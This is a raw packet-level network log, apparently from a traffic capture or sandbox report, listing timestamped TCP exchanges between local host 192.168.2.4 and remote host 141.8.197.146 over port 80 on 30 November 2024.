Nov 30, 2024 05:00:22.118885040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.118949890 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.118994951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.119848013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.119914055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.119988918 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.120794058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.120846033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.120856047 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.121751070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.121803045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.121876955 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.244384050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.244509935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.244628906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.244838953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.244915962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.245807886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.245913029 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.245971918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.246766090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.246826887 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.246851921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.246910095 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.247716904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.247813940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.248650074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.248747110 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.248786926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.248841047 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.249605894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.249721050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.249950886 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.250545979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.250679016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.251481056 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.251538038 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.251595020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.251641035 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.252466917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.252578020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.253375053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.253422976 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.253488064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.253572941 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.254354954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.254477978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.254534006 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.255302906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.255417109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.256253004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.256352901 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.256375074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.256422997 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.257204056 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.257329941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.258023977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.258136034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.258265972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.258719921 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.259085894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.259219885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.259288073 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.260044098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.260163069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.260998964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.261060953 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.261092901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.261163950 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.261941910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.262088060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.262868881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.262917042 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.262990952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.263037920 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.263863087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.263987064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.264796972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.264848948 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.264944077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.264991999 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.265737057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.265845060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.266151905 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.266683102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.266784906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.267642975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.267709017 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.267751932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.267818928 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.268573046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.268692017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.269534111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.269592047 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.269650936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.269722939 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.270466089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.270584106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.270658016 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.271420002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.271538973 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.272371054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.272465944 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.272506952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.272638083 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.273304939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.273432016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.274092913 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.274282932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.274390936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.275234938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.275285006 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.275337934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.275403023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.276179075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.276290894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.277112961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.277192116 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.277235031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.277298927 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.278090954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.278239012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.278304100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.279068947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.279170036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.279970884 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.280028105 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.280101061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.280155897 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.280915022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.281122923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.281882048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.281955004 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.282000065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.282052040 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.282810926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.282924891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.283755064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.283823013 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.283886909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.284018040 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.284713030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.284832001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.285655975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.285777092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.285799980 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.285856009 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.286611080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.286715984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.286778927 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.287566900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.317614079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.317651987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.317688942 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.317882061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.317996025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.318103075 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.318836927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.318918943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.318991899 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.319581985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.319650888 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.319683075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.320521116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.320607901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.320789099 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.321460009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.321526051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.321541071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.322421074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.322527885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.322612047 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.323327065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.323434114 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.445688009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.445827961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.446156025 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.446161032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.446266890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.447124004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.447217941 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.447237015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.447304964 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.448052883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.448180914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.448997974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.449078083 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.449110985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.449209929 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.449954033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.450040102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.450120926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.450881004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.450985909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.451860905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.451948881 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.451951981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.452025890 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.452809095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.452914000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.453722000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.453826904 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.453850031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.453907013 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.454699993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.454838991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.454916954 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.455646038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.455746889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.456631899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.456691980 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.456710100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.456768036 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.457519054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.457649946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.458163977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.458482027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.458573103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.458646059 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.459427118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.459543943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.459614992 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.460371017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.460501909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.461319923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.461380959 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.461445093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.461546898 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.462276936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.462399006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.462465048 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.463226080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.463351011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.464184046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.464235067 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.464287996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.464338064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.465126991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.465229988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.465998888 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.466062069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.466190100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.466710091 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.467017889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.467140913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.467196941 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.467971087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.468099117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.468936920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.469006062 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.469057083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.469302893 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.469893932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.470016956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.470309973 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.470843077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.470949888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.471770048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.471829891 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.471873045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.471930027 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.472711086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.472809076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.473658085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.473716974 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.473767042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.473879099 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.474631071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.474813938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.474898100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.475589991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.475696087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.476522923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.476614952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.476660013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.476713896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.477479935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.477580070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.477653980 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.478451967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.478563070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.478658915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.479356050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.479471922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.480318069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.480397940 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.480479002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.480540037 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.481245041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.481349945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.481937885 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.482172966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.482299089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.483154058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.483215094 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.483267069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.483334064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.484092951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.484306097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.484394073 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.485043049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.485162020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.485204935 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.486016035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.486126900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.486181021 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.486963034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.487076044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.487124920 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.487909079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.488025904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.488087893 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.488825083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.519202948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.519232035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.519263983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.519532919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.519629955 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.519664049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.520490885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.520592928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.520682096 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.521425009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.521478891 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.521527052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.522449970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.522579908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.522722006 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.523344994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.523390055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.523426056 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.524283886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.524342060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.524375916 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.570996046 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.646996021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.647073030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.647136927 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:22.647445917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:22.647528887 CET	80	49732	141.8.197.146	192.168.2.4
